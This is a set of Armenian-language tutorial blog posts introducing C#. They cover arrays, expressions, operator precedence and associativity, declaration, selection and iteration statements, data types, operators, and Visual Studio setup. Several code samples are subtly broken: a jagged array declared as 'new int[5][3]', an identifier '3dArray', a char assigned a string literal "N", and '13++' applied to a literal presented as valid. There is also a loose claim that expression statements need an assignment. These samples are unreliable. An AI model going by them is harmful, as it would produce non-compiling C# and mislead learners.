Այս տեսակների տարբերությունը կայանում է հետևյալում, ուղղանկյունաձև զանգվածի շարքերը պարունակում են հավասար թվով տարրեր, մինչդեռ անհարթ զանգվածն իրենից ներկայացնում է զանգվածներով լի զանգված (այսինքն, զանգված, որի տարրերը նույնպես զանգվածներ են)։ Ընդ որում, ամեն շարք ներկայացնող զանգվածները կարող են ունենալ տարբեր թվով տարրեր։

Կախված տեսակից, փոխվում է հայտարարման գրելաձևը՝

int[,] rectNumbers = new int[5,3];     // Ուղղանկյունաձև
int[][] jaggedNumbers = new int[5][3]; // Անհարթ

// Անհարթ զանգված հայտարարելիս հնարավոր է դատարկ թողնել երկրորդ չափման երկարությունը
int [][] newJaggedArray = new int[4][];
newJaggedArray[0] = new int[1];
newJaggedArray[1] = new int[5];
newJaggedArray[2] = new int[3];
newJaggedArray[3] = new int[4];
/* Մեր անհարթ զանգվածն ունի հետևյալ տեսքը (X-ով նշված են int տիպի տարրերը)
X
X X X X X
X X X
X X X X
*/

// Անհարթ եռաչափ զանգված ստանալու համար հնարավոր է համատեղել անհարթ և ուղղանկյուն զանգվածներ
int [][,] 3dArray= new int[3][,]
{
    new int[,] { {5, 2}, {0, -1} },
    new int[,] { {11, 133 , 5}, {6, 7, 5} },
    new int[,] { {90}, {5} }
}

Զանգվածների հիմնական հատկություններից մեզ հաճախ հետարքրքում է նրա երկարությունը (տարողունակությունը), որը պահվում է զանգվածի Length դաշտում (թե ինչ է օբյեկտի դաշտը, կտեսնենք օբյեկտ-կողմնորոշված ծրագրավորում և կլասսներ ուսումնասիրելիս)։

int[] numbers = new int[5];
// numbers.Length արտահայտությունը կվերադարձնի 5

int[,] numbers = new int[3, 4];
// numbers.Length-ը կվերադարձնի 12

Ամփոփում

Այս անգամ ծանոթացանք զանգվածների հետ։

Հասկացանք դրանց կիրառությունը
Աշխատեցինք միաչափ և բազմաչափ զանգվածների հետ
Սովորեցինք դրանց հայտարարման և սկզբնական արժեվորման հնարավոր գրելաձևերը
Հասկացանք բազմաչափ զանգվածների տեսակները և դրանց տարբերությունը

Սովորում ենք C# | Հրամաններ և դրանց կատարման կարգ

Narek Babajanyan — Wed, 18 Mar 2020 19:23:50 +0000

Նախորդ գրառման մեջ ծանոթացանք փոփոխականներին և օպերատորներին, թվարկեցինք տվյալների պահպանմանն ու փոփոխմանն ուղղված պարզագույն գործողություններից մի քանիսին։ Այժմ կուսումնասիրենք արտահայտությունների (expression) և հրամանների (statement) միջոցով այդպիսի գործողությունների կատարումը և դրանց համադրմամբ առավել ֆունկցիոնալ ծրագրերի կառուցումը։

Արտահայտություններ (Expressions)

Արտահայտություն է կոչվում փոփոխականների, ֆիքսված արժեքների (literal) և օպերատորների այնպիսի համադրությունը, որը վերադարձնում է արժեք։

// Ֆիքսված արժեքն ինքն իրենով արտահայտություն է 
13

// Օպերատորն իր օպերանդ(ներ)ի հետ միասին նույնպես կազմում է արտահայտություն
13++ 
true || false 

// Կարելի է օգտագործել արտահայտությունների բարդ համադրություններ
(true || false) && !(false || false)

Արտահայտությունների կառուցման մեջ կարևոր դեր է խաղում օպերատորների կատարման հերթականությունը (operator precedence)։ Դպրոցական մաթեմատիկայի դասերից հիշում ենք որ մաթեմատիկական արտահայտության մեջ առաջին հերթին կատարվում են բազմապատկման և բաժանման գործողությունները և հետո միայն գումարումն ու հանումը։ C# լեզուն ունի իր սեփական կանոնները, որոնք մասամբ արտացոլում են մաթեմատիկական հերթականությունը։

double result = 1.0 - 5.0 / 2.0;
// Առաջին հերթին կատարվում է բաժանումը, հետևաբար result = -1.5


result = (1.0 - 5.0) / 2.0; 
// Փակագծերի ներսում գտնվող գործողությունները կատարվում են առաջին հերթին,
// հետևաբար result = -2

Եթե արտահայտության մեջ ներկա են կատարման հավասար կարգով օպերատորներ, հերթականությունը որոշվում է օպերատորների զուգորդականությամբ (operator associativity)։ Այն կարող է լինել ձախից աջ, կամ աջից ձախ։ Օրինակ, + օպերատորի զուգորդականությունը ձախից աջ է, այսինքն գործողությունը կատարվում է ձախ օպերանդից "դեպի" աջ օպերանդ։ Վերագրման օպերատորի (=) դեպքում պատկերն այլ է՝ այն ունի աջից ձախ զուգորդականություն․ այսինքն աջ կողմում գտնվող օպերանդի արժեքը նշանակվում է ձախ կողմում գտնվողին։

int result = 1   +   6   +   5   +   1; 
//           1  -->  7  -->  12 -->  13
// result = 13

int a = -1; 
int b = 2;
int c = 7;

a   =   b   =   c;
/*
7  <--  7  <--  7
a = 7, b = 7, c = 7
*/

// Եթե = օպերատորն ունենար ձախից աջ զուգորդականություն, կկատարվեր հակառակը, 
// Բոլոր երեք փոփոխականները կստանային -1 արժեքը

Հրամաններ (Statements)

Այժմ արդեն ծանոթ ենք արտահայտություններին, կարող ենք անցնել ծրագրերի հիմնական մասնիկներին՝ հրամաններին (statements)։ Ծրագրում կատարվելիք գործողությունները կոդում ընդունում են հրամանի տեսք։

Առանձնացվում են հրամանների մի քանի տեսակներ (որոնց համար C#-ում տրաամդրվում են համապատասխան բանալի բառեր՝ keywords)։ Այժմ կդիտարկենք դրանցից մի քանիսը

Հայտարարման հրամաններ (declaration statements) - նախատեսված է նոր փոփոխականների հայտարարման համար,
Արտահայտությամբ հրամաններ (expression statements) - այս հրամանները պարունակում են արտահայտություններ, որոնց հաշվարկված արժեքը պահվում է փոփոխականում,
Ընտրության հրամաններ (selection statements) - նախատեսված են ծրագրի "ճյուղավորման"՝ որոշակի պայմանների դեպքում տարբեր գործողությունների կատարման համար,
Կրկնության հրամաններ (iteration statements) - նախատեսված են որոշակի գործողություններ մի քանի անգամ կրկնելու համար։ Կրկնությունները կարելի է սահմանափակել կա՛մ ֆիքսված քանակով, կա՛մ որոշակի պայմանով։

Հայտարարման հրամաններ (declaration statements)

Ինչպես պարզ է դառնում տվյալ տեսակի անվանումից, այս հրամանները նախատեսած են նոր փոփոխականների հայտարարման համար։ Հրամանում նշում է փոփոխականի տիպը, անվանումը, կարող է նաև նշվել սկզբնական արժեքը

string country = "Հայաստան"; // Հայտարարում սկզբնական արժեքով
int number; // Հայտարարում առանց սկզբնական արժեքի

Արտահայտությամբ հրամաններ (expression statements)

Արտահայտությամբ հրամանները բաղկացած են երկու մասից՝

արտահայտություն (expression)
նշանակում (assignment)

5 * 4; // Առկա է արտահայտությունը, բայց ոչ նշանակումը, հետևաբար, սա ճիշտ հրաման չէ 
result = 13++ * 5 / 2; // Արտահայտությամբ հրամանի օրինակ
bool check = result == 35; // Հնարավոր է հայտարարումը համատեղել արահայությամբ հրամանի հետ

Ծրագրի կատարման կարգ (Control flow)

Հրամանների տեսակները, որոնք հիմա կուսումնասիրենք հնարավորություն են տալիս փոխել ծրագրի ընթացքն անմիջապես կոդի մեջ, ինչn ինֆորմատիկայում կոչվում է ծրագրի կատարման կարգ (control flow)։
Մասնավորապես, այժմ կսովորենք ինչպես կարող է ծրագրի ընթացքը փոխվել կախված ինչ-որ պայմանից և ինչպես կարելի է կրկնել ինչ-որ գործողություն(ներ)՝ ֆիքսված քանակով կամ քանի դեռ չի կատարվել մեր տրված պայմանը։

Ընտրության հրամաններ (selection statements)

Ավելի վաղ ծանոթացել էինք բուլյան (boolean) արժեքներին։ Վերջիններիս հիմնական կիրառություններից է պայմանների ճշմարիտ կամ սխալ արժեքների արտացոլումը, հետագայում ստուգելու նպատակով։ Ընտրության հրամանները հնարավորություն են տալիս ստուգել նման արժեքներ և դրա ճշմարտացիությունից կախված փոխել ծրագրի ընթացքը։ Այս նպատակով օգտագործվում են if (եթե) և else (հակառակ դեպքում) բանալի բառերը։

// condition-ը բուլյան փոփոխական է
if(condition) {
    // Այստեղ տեղակայված կոդը կկատարվի միայն եթե փակագծերում տրված պայմանը ճիշտ է
} else {
    // ․․․իսկ այստեղինը՝ եթե պայմանը սխալ է
}

/*
Հնարավոր է բուլյան արժեք վերադարձնող արտահայտությունն ամիջապես տեղադրել 
if-ի փակագծերի մեջ, առանց փոփոխականում պահելու
*/
double temperature = 37.5;
if(temperature > 36.6) {
    // Թույլատրվում է ունենալ if բլոկ, առանց else բլոկի
    // ․․․սակայն else բլոկ առանց if բլոկի՝ ոչ
}

Այն դեպքերում երբ մեզ հետաքրքրում են ոչ թե ինչ-որ պայմանի ճիշտ կամ սխալ լինելը, այլ փոփոխականի տարբեր հնարավոր արժեքներ, if-ի օգտագործումն այդքան էլ օպտիմալ չէ՝

// Ենթադրենք մեր ծրագրում պետք է ստուգվի նետված զառի արժեք
// 6 տարբեր դեպքերի համար if/else համադրությունն այդքան էլ տեղին չէ
if (diceValue == 1) 
{   
} else if (diceValue == 2) 
{
} else if (diceValue == 3) 
{
} else if (diceValue == 4) 
{
} ․․․

Նմանատիպ դեպքերի համար C#-ում նախատեսված են switch և case բանալի բառերը։
Զառի օրինակը այս բանալի բառերի օգտագործմամբ կունենա այս տեսքը

switch (diceValue) 
{
    case 1:
        // diceValue փոփոխականի արժեքը 1 է
        break;
    case 2:
        // diceValue փոփոխականիարժեքը 2 է
        break;
    ...
    default:
        // Փոփոխականը չընդունեց տրված արժեքներից ոչ մեկը
        break;
}

switch բանալի բառից հետո փակագծերի ներսում նշվում է այն փոփոխականը, որի արժեքը ստուգվելու է, իսկ case (դեպք) բանալի բառի միջոցով նշվում են մեզ հետաքրքրող արժեքները և դրանց դեպքում կատարվող գործողությունները։ Ուշադրություն դարձրեք, որ ամեն case-ի ներսում կատարվող գործողություններից հետո անպայման պետք է տալ break հրաման, որպեսզի ծրագիրը դուրս գա switch բլոկից։ Մեր կողմից ծրագրավորված դեպքերի վերջում ավելացվում է default-ը, որը պարունակում է այն գործողությունները, որոնք կարվեն, եթե փոփոխականը ոչ մի այլ case-ում տեղ գտած արժեք չի ընդունել։ Զառի օրինակի պարագայում, եթե diceValue փոփոխականն ընդունի 7 արժեքը, default դեպքում կարելի է զգուշացնել սխալ (անհնար) արժեքի մասին։

Որոշ դեպքերում անհրաժեշտ է լինում կատարել նույն գործողությունները մի քանի արժեքների (case-երի) պարագայում, այդ պարագայում case-երը կարելի է միավորել հետևյալ կերպ՝

switch (diceValue) 
{
    case 1:
        // Փոփոխականի արժեքը 1 է
        break;
    case 2:
    case 3:
        // Այստեղ տեղ գտած կոդը կկատարվի եթե diceValue 
        // փոփոխականն ընդունի կա՛մ 2, կա՛մ 3 արժեքը
        break;
    ...
}

Կրկնության հրամաններ (iteration statements)

Ինչպես արդեն նշել էի, կրկնության հրամանները հնարավորություն են տալիս կրկնել որոշակի գործողություններ՝

ֆիքսված քանակով
քանի դեռ չի կատարվել որոշակի պայման

Առաջին դեպքի համար օգտագործվում է for բանալի բառը, որին հետևում է փակագծերով շրջապատված հետևյալ երեք մասերը՝

"հաշվիչ" փոփոխականի հայտարարում,
այդ փոփոխականի համեմատում մեր տրված արժեքի հետ(ըստ էության սա բուլյան արժեք վերադարձնող արտահայտություն է՝ այսինքն, պայման),
փոփոխականի փոփոխություն (ավելացում/պակասեցում)։ Սրանք իրարից բաժանվում են ; նշանով։ Այնուհետև { } ձևավոր փակագծերի ներսում տրվում են այն գործողությունները, որոնք պետք է կրկնվեն։ Դիտարկենք օրինակ՝

// 1) int i = 0    - հաշվիչ փոփոխականի հայտարարում
// 2) i < 5        - քանակը սահմանափակող պայման
// 3) i++          - փոփոխականի ավելացում
for(int i = 0; i < 5; i++) 
{
    // Այստեղ գրված կոդը կկատարվի 5 անգամ
    // Ամեն անգամ i փոփոխականն ավելացնելով 1-ով
    // Երբ i-ը հավասարվում է 5-ի, 5 < 5 արտահայտությունը վերադարձնում է 
    // սխալ արժեք, և ծրագիրը դուրս է գալիս ցիկլից։
}

for հրամանի կողմից կատարվող գործողությունների հերթականությունը հետևյալն է՝

առաջին հերթին, հայտարարել հաշվիչ փոփոխականը
ստուգել պայմանը
եթե պայմանը ճշմարիտ է (արտահայտությունը վերադարձնում է ճշմարիտ արժեք), կատարել բլոկի ներսում գտնվող կոդը
կատարել հաշվիչի փոփոխության հրամանը

Այժմ դիտարկենք մյուս ցիկլի (կրկնության) հաջորդ հրամանը՝ while-ը։
Վերջինս ունի ավելի պարզ կառուցվածք՝ while բանալի բառից հետո փակագծերում տրվում է պայմանը, որը պետք է ստուգվի, այնուհետև ձևավոր փակագծերում՝ կրկնվող գործողությունները։

while (condition) 
{
    // Այդ կոդը կկրկնվի այնքան ժամանակ, 
    // քանի դեռ condition փոփոխականը/արտահայտությունը 
    // վերադարձնում է ճշմարիտ (true)արժեք
}

Այս տեսակի ցիկլերի տիպիկ օրինակ են վիդեոխաղերը, որոնց հիմնական գործողություններն ըստ էության կատարվում են այսպիսի ցիկլի մեջ՝

bool isPaused = false;
while(!isPaused) 
{
    // 1) Արտապատկերել խաղային գրաֆիկան

    // 2) Ստանալ խաղացողի հրամանները (օրինակ՝ ստուգել սեղմված կոճակները)
    if (button == "PAUSE") 
    {
        isPaused = true;
    }

    // 3) Կատարել փոփոխություններ (օրինակ՝ շարժումներ) խաղային օբյեկտների վրա
}

Այս տեսակի ցիկլերը կարող են օգտագործվել երկու ձևով՝ միայն while հրամանի միջոցով, կամ do, while զույգի միջոցով։

while(condition) 
{
    // ...
}

do 
{
    // ...
} while (condition)

Էական տարբերություն է հանդիսանում այն փաստը, որ do/while հրամանների պարագայում, առաջին հերթին կատարվում է ձևավոր փակագծերի ներսում գտնվող կոդը, այնուհետև ստուգվում է while-ին տրված պայմանը։ Այսինքն նույնիսկ եթե condition պայմանը վերադարձնում է սխալ (false) արժեք, կոդը կկատարվի մեկ անգամ, մինչդեռ միայն while հրամանի միջոցով կառուցված ցիկլում կոդը կկատարվի միմիայն պայմանի ճշմարիտ լինելու պարագայում։

Ամփոփում

Այս անգամ ուսումնասիրեցինք

Արտահայտություններ (expressions) և դրանց կառուցումը փոփոխականների, ֆիքսված արժեքների և օպերատորների միջոցով
Օպերատորների կատարման հերթականությունն (operator precedence) ու դրանց զուգորդականությունը (associativity)
Հայտարարման (declaration), արտահայտությամբ (expression), ընտրության (selection) և կրկնության (*iteration) հրամանները (statements)
Ծրագրի կատարման կարգը (control flow)

Սովորում ենք C# | Առաջին քայլեր

Narek Babajanyan — Fri, 13 Mar 2020 21:16:17 +0000

Միջավայրի կարգավորում

Microsoft ընկերությունը տրամադրում է Visual Studio միջավայրը, որը մատուցվում է մի քանի տարբերակով՝

Visual Studio - հասանելի է Windows և macOS ՕՀ-ների համար։ Անվճար տարբերակը կոչվում է Community Edition։
Visual Studio Code - Հասանելի է Windows, macOS և Linux ՕՀ-ների համար։ Անվճար է։

Visual Studio Code-ն իրենից ներկայացնում է պարզ միջավայր, որը կարելի է օգտագործել փոքր ծրագրեր գրելու համար, սակայն առավել մեծ նախագծերի վրա աշխատելիս (օրինակ վեբ կամ բջջային հավելվածներ) հարմար է օգտագործել առավել բազմաֆունկցիոնալ Visual Studio-ն։

Visual Studio Code-ում աշխտանքը սկսելու համար բավարար է ստեղծել նոր C# ֆայլ (C# կոդ պարունակող ֆայլերն ունեն .cs ընդլայնումը)։
Visual Studio-ով աշխատելու համար պետք է նախ ստեղծել պռոյեկտ, ինչից հետո ավտոմատ կերպով կստեղծվեն անհրաժեշտ ֆայլերն ու կկարգավորվեն գործիքները։ Ծրագիրը գործարկելուց, սկզբնական մենյուում առաջարկվում է մի քանի տարբերակ, որոնոց միջոցով կարելի է ծավալել աշխատանք նախագծերի (projects) հետ։

Վերջին տարբերակը ("Create a new project") նոր նախագծի ստեղծումն է, որն ընտրելուց առաջարկվում է նախագծերի բոլոր նմուշների (template) տեսականին։ Պարզագույն ծրագրերի համար (որոնք չունեն գրաֆիկական ինտերֆեյս, չեն հանդիսանում web-հավելված, խաղ և այլն), խորհուրդ է տրվում օգտագործել Console App կոչվող նմուշը։

Ինչպես տեսնում ենք, Console App նմուշի համար ևնշված է երկու տարբերակ՝ .NET Core և .NET Framework: Այս նմուշներն օգտագործում են .NET-ի համապատասխան տարբերակը, որոնց տարբերության մասին պատմել եմ նախորդ գրառման մեջ։

Նախագծի նմուշն ընտրելուց և Next սեղմելուց հետո, լրացնում ենք նախագծի անունն ու պահպանման վայրը և օգտագործում ենք Create կոճակը նախագծի ստեղծումն ավարտելու համար։

Առաջին քայլեր՝ տվյալների պահպանում

Մինչ ծրագրավորման հնարքներ և C#-ի առանձնահատկություններ ուսումնասիրելը, հիշենք ինչ է իրենից ներկայացնում ծրագրավորումը և ընդհանրապես ինֆորմատիկա գիտությունը։
Ինֆորմատիկան ուսումնասիրում է տվյալների հետ աշխատող (ընթերցող, փոփոխող, պահպանող, արտածող) գործընթացները։ Ըստ այդմ, ինֆորմատիկայի հիմնական գործիքների՝ համակարգիչների գործառույթներն անխուսափելիորեն ներառում են տվյալների վրա իրականացվող գործողություններ։ Բայց տարբեր դեպքերում անհրաժեշտ է լինում աշխատել տվյալների տարբեր տիպերի հետ՝ թվեր, տառեր, տեքստ, նկարներ․․․

Հենց այս նպատակով էլ բարձր մակարդակի յուրաքանչյուր լեզու պարունակում է գործիքներ տիպերի հետ աշխատելու համար։ .NET-համատեղելի լեզուների դեպքում այս գործիքակազմը ներառում է հիմնական բազային տիպեր, ինչպես նաև մեր սեփական տիպերը սահմանելու հնարավորություն։

C#-ի միջոցով հիշողության մեջ ամբողջ թվեր պահելու համար գործում են հետևյալ տիպերը՝

C# տիպի անվանում	Զբաղեցրած հիշողություն	Արժեքների տիրույթ
`sbyte`	Դրական/բացասական թվեր, 8 բիթ	-128ից 127
`byte`	Դրական թվեր, 8 բիթ	0ից 255
`short`	Դրական/բացասական թվեր, 16 բիթ	-32,768ից 32,767
`ushort`	Դրական թվեր, 16 բիթ	0ից 65,535
`int`	Դրական/բացասական թվեր, 32 բիթ	-2,147,483,648ից 2,147,483,647
`uint`	Դրական թվեր, 32 բիթ	0ից 4,294,967,295
`long`	Դրական/բացասական թվեր, 64 բիթ	-9,223,372,036,854,775,808ից 9,223,372,036,854,775,807
`ulong`	Դրական թվեր, 64 բիթ	0ից 18,446,744,073,709,551,615

Ինչպես տեսաք, ամբողջ թվերի պահպանման համար նախատեսված տիպերը բաժանվում են, երկու տեսակի՝ միայն դրական թվեր պարունակող տիպեր և ցանկացած նշանով թվեր պարունակող տիպեր։ Ընդ որում, միայն դրական թիվ պարունակող տիպերը նույն զբաղեցրած հիշողության պայմաններում ունակ են պահպանել երկու անգամ մեծ մաքսիմալ արժեքներ, քան դրական և բացասական թվերի համար նախատեսվածները։ Օրինակ՝ sbyte (signed byte) և byte տիպերը զբաղեցնում են 8 բիթ հիշողություն, սակայն byte-ի մաքսիմալ արժեքը 255 է, մինչդեռ sbyte-ինը՝ 127։
Այս տարբերակումը բխում է համակարգիչներում ամբողջ թվերի երկուական ներկայացման տեսակներից՝

Signed integer` նշանով թվեր

Unsigned integer՝ առանց նշանի թվեր Բացասական և դրական (signed) թվերի՝ համակարգչային հիշողության մեջ ներկայացման մեթոդների հետ կարող եք ծանոթանալ հետևյալ հղումներով՝

Прямой, обратный и дополнительный коды

Прямой, обратный и дополнительный коды двоичного числа

Signed Binary Numbers

Signed number representations

Կոտորակային թվերի ներկայացման համար C#-ում ներառված են հետևյալ տիպերը՝

C# տիպի անվանում	Զբաղեցրած հիշողություն	Ճշգրտություն
`float`	4 բայթ (32 բիթ)	6-9 նիշ
`double`	8 բայթ (64 բիթ)	15-17 նիշ
`decimal`	16 բայթ (128 բիթ)	28-29 նիշ

Նշված երեք տիպերն ունեն տարբեր կիրառություններ։ Քանի որ float-ը զբաղեցնում է նշվածներից ամենափոքր ծավալը, այն կարելի է օգտագործել, երբ արագագործությունն ավելի կարևոր է քան ճշգրտությունը, իսկ օրինակ decimal-ը հիմնականում օգտագործվում է ֆինանսական հաշվարկներ կատարող ծրագրերում, քանի որ առաջարկում է մաքսիմալ ճշգրտություն։

Տեքստային տվյալների հետ աշխատանքի համար C#-ը ներառում է string և char տիպերը։ char-ը (character բառի կրճատված տարբերակը) նախատեսված մեկ նշան (տառ, թվանշան և այլն) պահպանելու համար, իսկ string-ը՝ ցանկացած երկարությամբ տեքստ։

Իրականում, string տիպն ունի սահմանափակում՝ .NET միջավայրում տեքստային փոփոխականը կարող է զբաղեցնել մինչև 2GB հիշողություն, այսինքն պարունակել մինչև մոտավորապես 1 միլիարդ նիշ։

Ծրագրավորման հիմնական բոլոր լեզուներում օգտագործվում է ևս մեկ հատուկ տիպ, նախատեսված տրամաբանական արժեքների պահպանման համար, որն օգտագործվում է ծրագրի մեջ պնդումների ճշմարտության ստուգման համար։ Հետևաբար, այս տիպը կարող է ընդունել ընդամենը երկու արժեք՝ true (ճշմարիտ) և false (սխալ)։ C#-ում այս տիպը կոչվում է bool (կրճատ Boolean բառից, քանի որ մաթեմատիկայի՝ պնդումների ճշմարտացիությանը վերաբերվող ճյուղը կոչվում է Բուլյան հանրահաշիվ՝ Boolean algebra)։

Դիտարկենք այսպիսի փոփոխականի հետ աշխատանքի պարզ օրինակ։

// Կարելի է պնդման արժեքը պահել bool տիպի փոփոխականում, այն հետագայում օգտագործելու համար
bool lightsOn = true;      // Լույսերը միացված են
lightsOn = false;          // Լույսերն անջատված են

// Կարելի է նաև ստուգել նախապես պահպանված արժեքների ճշմարտացիությունը
if(lightsOn) {
   // Եթե լույսերը միացված են, ձեռնարկել որոշ գործողություններ
}

Գործողություններ տվյալների հետ՝ օպերատորներ

Վերոհիշյալ բոլոր տիպերը հնարավորություն են տալիս հիշողության մեջ պահպանել համապատասխան արժեքներ, բայց ինչպե՞ս կարող ենք փոփոխել դրանք և մեր ունեցած տեղեկատվությունից ստանալ նոր արժեքներ։ Այս հարցում մեզ կօգնեն օպերատորները (operator):

Ծրագրավորման մեջ օպերատորները սահմանում են տվյալ տիպի արժեքների հետ կատարվող գործողությունները։ C#-ը ներառում է թվաբանական (arithmetic), տրամաբանական (logical), համեմատման (comparison), հավասարության (equality) և այլ տեսակների օպերատորներ։

Առաջին հերթին անհրաժեշտ է ծանոթանալ նշանակման օպերատորին։ Այն ներկայացված է = նշանով և թույլ է տալիս փոփոխականին վերագրել արժեք։ Նշանի աջ կողմում գտնվող արժեքը վերագրվում է ձախ կողմում գտնվող փոփոխականին։

// Հայտարարում ենք ամբողջ թիվ պահող int տիպի փոփոխական՝ number անվամբ և վերագրում դրան 13 արժեքը
int number = 13;

// Հայտարարում ենք մեկ նիշ պահող char տիպի փոփոխական` letter անվամբ և վերագրում դրան N արժեքը։
// Ուշադրություն դարձրեք՝ տեքստային արժեքները կոդում շրջապատվում են չակերտներով
char letter = "N";

// Կարելի է նաև նախապես հայտարարել փոփոխականը․․․
string country;

// ․․․և հետո միայն արժեք վերագրել դրան
country = "Armenia"

// Հնարավոր է նաև փոփոխականին վերագրել մեկ այլ փոփոխականի մեջ պահված արժեք
int firstNumber = 15;
int secondNumber = firstNumber; // Այժմ երկու փոփոխականներն էլ կրում են 15 արժեքը

Օպերատորներն իրենց գործողությունները կատարում են օպերանդների վրա։ Օրինակ, նշանակման օպերատորն ունի երկու օպերանդ՝ ձախ կողմում գտնվող փոփոխականն ու աջ կողմում գտնվող արժեքը (կամ այլ փոփոխական)։
Ըստ օպերանդների քանակի լինում են՝

Բինար (binary) օպերատորներ, որոնց անհրաժեշտ է երկու օպերանդ

Ունար (unary) օպերատորներ, որոնց անհրաժեշտ է միայն մեկը

C#-ում հասանելի թվաբանական օպերատորները հետևյալն են՝

Անվանում	Նշան	Տեսակ	Գրելաձև
Մեծացում 1-ով (increment)	`++`	Ունար	`a++`, `++a`
Փոքրացում 1-ով (decrement)	`--`	Ունար	`a--`, `--a`
Նշանի փոխում (negation)	`-`	Ունար	`-a`
Բազմապատկում	`*`	Բինար	`a * b`
Բաժանում	`/`	Բինար	`a / b`
Բաժանման մնացորդ (remainder)	`%`	Բինար	`a % b`
Գումարում	`+`	Բինար	`a + b`
Հանում	`-`	Բինար	`a - b`

Դիտարկենք օպերատորների օգտագործման որոշ օրինակներ՝

int number = 3;
number++; // Այժմ number փոփոխականը կկրի 4 արժեքը

int secondNumber = 5;
int result = number * secondNumber; // result փոփոխականը կկրի 20 արժեքը

result = result / 2; // 10

int remainder = 7 % 5; 
// remainder փոփոխականը կկրի 2 արժեքը, 
// քանի որ 7-ը 5 բաժանելիս ստանում ենք 1 քանորդ և 2 մնացորդ։
// % օպերատորը վերադարձնում է միայն մնացորդը։

Ուշադրություն դարձրե՛ք result = result / 2; տողին։ Այն դեպքերի համար, երբ փոփոխականի վրա կատարվում է գործողություն, իսկ արդյունքը պահվում հենց նույն փոփոխականի մեջ, տվյալ օպերատորը կարելի է համատեղել նշանակման օպերատորի հետ (=)։ Օրինակ՝ result /= 2;։ Հասանելի են նաև +=, -=, %=, *= օպերատորները։

int num = 2;
num *= 2; // նույնն է ինչ num = num * 2;
num %= 3; // նույնն է ինչ num = num % 3;
num -= 1; // նույնն է ինչ num = num - 1;

Այժմ ծանոթանանք Բուլյան արժեքների հետ աշխատող տրամաբանական օպերատորներին (logical operators)։

Անվանում	Նշան	Գրելաձև
Ժխտում	`!`	`!a`
Տրամաբանական ԵՎ (AND)	`&`	`a & b`
Տրամաբանական ԿԱՄ (OR)	`\|`	`a \| b`
Պայմանական ԵՎ (AND)	`&&`	`a && b`
Պայմանական ԿԱՄ (OR)	`\|\|`	`a \|\| b`
Հակառակ ԿԱՄ (XOR)	`^`	`a ^ b`

ԵՎ (AND) օպերատորը վերադարձնում է ճշմարիտ արժեք, եթե իր երկու օպերանդներն էլ կրում են true արժեք, մնացած բոլոր դեպքերում վերադարձվում է false։

a	b	a AND b
`true`	`true`	`true`
`true`	`false`	`false`
`false`	`true`	`false`
`false`	`false`	`false`

ԿԱՄ (OR) օպերատորը վերադարձնում է ճշմարիտ արժեք, եթե գոնե մեկ օպերանդ ունի ճշմարիտ արժեք։

a	b	a OR b
`true`	`true`	`true`
`true`	`false`	`true`
`false`	`true`	`true`
`false`	`false`	`false`

// Ժխտման օպերատորը պարզապես փոխում է տվյալ Բուլյան փոփոխականի արժեքը...
// ...ճշմարիտը (true) վերածելով սխալի (false) և հակառակը։
bool someVariable = true;
bool anotherVariable = !someVariable; // anotherVariable = false

anotherVariable = !anotherVariable; // anotherVariable = true

bool firstVar = true;
bool secondVar = false;

// (firstVar && secondVar) արտահայտությունը կընդունի false արժեքը
// հետևաբար, դրա չժտումը՝ ! օպերատորի միջոցով, կընդունի true արժեքը
bool result = !(firstVar && secondVar);

Ուշադրություն դարձրեք, որ AND և OR գործողությունների համար կա երկուական օպերատոր՝ AND—ի համար & և &&, OR-ի համար՝ |, և ||։ Կրկնվող նշանով տարբերակների առանձնահատկությունը կայանում է նրանում, որ բավարար պայմանի գործելու դեպքում, նրանք չեն ստուգում երկրորդ օպերանդ։ Օրինակ, որպեսզի a && b արտահայտությունը վերադարձնի ճշմարիտ (true) արժեք, անհրաժեշտ է, որ երկու օպերանդներն էլ կրեն ճշմարիտ արժեք։ Եթե առաջին օպերանդը (a) չի կրում այն, պարզ է որ ամբողջ արտահայտությունն այլևս չի կարող լինել ճշմարիտ, հետևաբար երկրորդ օպերանդի՝ b-ի արժեքը նույնիսկ հաշվի չի առնվում։

Նույն կերպ, որպեսզի a || b արտահայտությունը վերդարձնի ճշմարիտ արժեք, անհրաժեշտ է, որ գոնե մեկ օպերանդ լինի ճշմարիտ։ Այսինքն, եթե առաջին օպերանդը (a) կրի ճշմարիտ արժեք, ամբողջ արտահայտությունը կվերադարձնի ճշմարիտ արժեք, առանց b-ի արժեքը հաշվի առնելու։

Հաջորդիվ, ծանոթանանք հավասարության և համեմատության օպերատորներին։
Հավասարության օպերատորը (==) թույլ է տալիս ստուգել արդյոք իրեն տրված երկու օպերանդները հավասար են (կրում են նույն արժեքը)։ Արդյունքը վերադարձվում է բուլյան փոփոխականի տեսքով, այսինքն կամ true կամ false արժեքով։
`

int number = 3;
int secondNumber = 3;
bool result = (number == secondNumber); // result = true

// Կարելի է ստուգել նաև տեքստային փոփոխականներ
string firstString = "String 1";
string secondString = "String 2";
bool result2 = (firstString == secondString); // result2 = false;

Գոյություն ունի նաև անհավասարության օպերատոր (!=), որի նպատակը երևի արդեն պարզ է։ Վերոհիշյալ բոլոր տիպերի համար, a != b արտահայտությունը համարժեք է !(a == b) արտահայտությանը։ Այսինքն, այն վերադարձնում է true, եթե երկու օպերանդները տարբերվում են իրարից։
`

bool firstBoolean = true;
bool secondBoolean = true;

bool result = (firstBoolean != secondBoolean) // result = false

float var1 = 7.35f;
float var2 = 7.36f;
bool result2 = (var1 != var2); // result2 = true

Նման կերպ կարելի է օգտագործել նաև համեմատության օպերատորները՝

< - փոքր (օրինակ՝ a < b)
> - մեծ (օրինակ՝ a > b)
<= - փոքր կամ հավասար (օրինակ՝ a <= b)
>= - մեծ կամ հավասար (օրինակ՝ a >= b)

Ամփոփում

Այս անգամ անդրադարձանք Visual Studio միջավայրի կարգավորմանը և որոշ այլընտրանքների։ Այնուհետև, ծանոթացանք C# լեզվում հասանելի տիպերից մի քանիսին՝ մանրամասնելով, թե որ դեպքերում կարող է օգտագործեվել դրանցից յուրաքանչյուրը։ Այս տիպերի փոփոխականներում պահվող տեղեկատվությունը կարող է լինել ամբողջ թիվ, կոտորակային թիվ, տեքստ կամ բուլյան արժեք (որոնց նշանակությանն ու օգտագործմանը նույնպես ծանոթացանք)։
Վերջ ի վերջո, ծանոթացանք C#-ում տվյալների հետ աշխատելու օպերատորների մի քանի տեսակների, մասնավորապես՝ թվաբանական, տրամաբանական, հավասարության և համեմատության օպերատորներին։

Forem: Narek Babajanyan

SecurityBoat June CTF solution

Containerizing a Spring/Angular application with Docker Compose

Finding a sample project

Containerizing the Spring Boot backend

Containerizing the database

Containerizing the frontend

Assembling the docker-compose.yaml configuration

